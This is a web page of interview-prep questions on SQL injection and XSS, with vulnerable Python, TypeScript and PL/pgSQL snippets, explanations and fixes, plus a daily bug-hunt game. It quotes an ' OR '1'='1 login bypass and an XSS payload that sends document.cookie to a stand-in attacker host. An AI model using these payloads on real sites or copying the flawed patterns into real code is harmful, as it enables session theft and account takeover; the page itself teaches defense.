Skip to content
spot_the_ai_bug

SQL injection & XSS: interview questions

Injection happens when untrusted input is mixed into code: SQL, shell commands or HTML. The input stops being data and starts being instructions.

How to spot it in code review

  • Look for string building (f-strings, template literals, +) around SQL, shell or HTML.
  • Trace every user-controlled value to where it's executed or rendered.
  • Prefer bound parameters, argument arrays and textContent.
  • Remember that "escaping" by hand is almost always incomplete.

Why AI-generated code gets this wrong

String interpolation is the shortest way to make code work, and models often parameterize the obvious value while interpolating the risky one.

SQL injection & XSS: 3 practice questions

Q1Pythoneasy

f-string SQL query

This looks up a user by email for the login form. What's the problem?

import sqlite3  def find_user(conn: sqlite3.Connection, email: str):    cur = conn.cursor()    cur.execute(f"SELECT id, email, password_hash FROM users WHERE email = '{email}'")    return cur.fetchone()
Show answer

line 6 · Security / injection

The email is pasted into the SQL text, so input like ' OR '1'='1 changes the query and returns the first user, letting an attacker log in as someone else. Let the driver bind the value instead.

Fix
    cur.execute("SELECT id, email, password_hash FROM users WHERE email = ?", (email,))

Interview follow-up: Expect a follow-up on why escaping quotes by hand is not enough, and how ORMs parameterize queries for you.

Rendering comments with innerHTML

renderComment() displays user comments under a post. What can an attacker do?

interface Comment {  author: string;  body: string;} export function renderComment(list: HTMLElement, comment: Comment): void {  const item = document.createElement("li");  item.innerHTML = `<strong>${comment.author}</strong>: ${comment.body}`;  list.appendChild(item);}
Show answer

line 8 · Security / injection

User text is parsed as HTML. A comment like <img src=x onerror="fetch('//evil.example?c='+document.cookie)"> runs script in every reader's browser (stored XSS), which can steal sessions or act as the user.

Fix
  const name = document.createElement("strong");  name.textContent = comment.author;  item.append(name, `: ${comment.body}`);

Interview follow-up: Mention textContent, framework auto-escaping, and sanitizers like DOMPurify when HTML is truly required.

Q3SQLhard

Dynamic SQL in a stored function

This PL/pgSQL function backs an admin search box. What's the vulnerability?

CREATE FUNCTION search_customers(p_name TEXT)RETURNS SETOF customers AS $$BEGIN    RETURN QUERY EXECUTE        'SELECT * FROM customers WHERE name ILIKE ''%' || p_name || '%''';END;$$ LANGUAGE plpgsql;
Show answer

line 5 · Security / injection

The parameter is concatenated into a dynamically executed string, so a name containing a quote can rewrite the query. Code inside the database is just as injectable as application code.

Fix
    RETURN QUERY EXECUTE        'SELECT * FROM customers WHERE name ILIKE $1'        USING '%' || p_name || '%';

Interview follow-up: Here the query doesn't need to be dynamic at all; a plain RETURN QUERY SELECT with the parameter is simplest.

Every day, everyone gets the same pull request written by AI. It looks clean. It has comments. It has exactly one real bug.

  1. 1

    Find the line

    Tap the buggy line, then hit Submit. You get 3 attempts.

  2. 2

    Read the hints

    A miss within 2 lines is 🔥 Warm. Anything further is ❄️ Cold.

  3. 3

    Name the bug

    Found it? Bonus round: pick the bug type from 4 options. It doesn't affect your win, just your bragging rights.

// your share card

found in 3/3

🟥 cold miss · 🟨 warm miss · 🟩 found · ⬛ unused

Keyboard: ↑ ↓ to move between lines, Enter to submit. A new bug drops every day at midnight IST.

0
Played
0
Win %
0
Streak
0
Max

Attempts distribution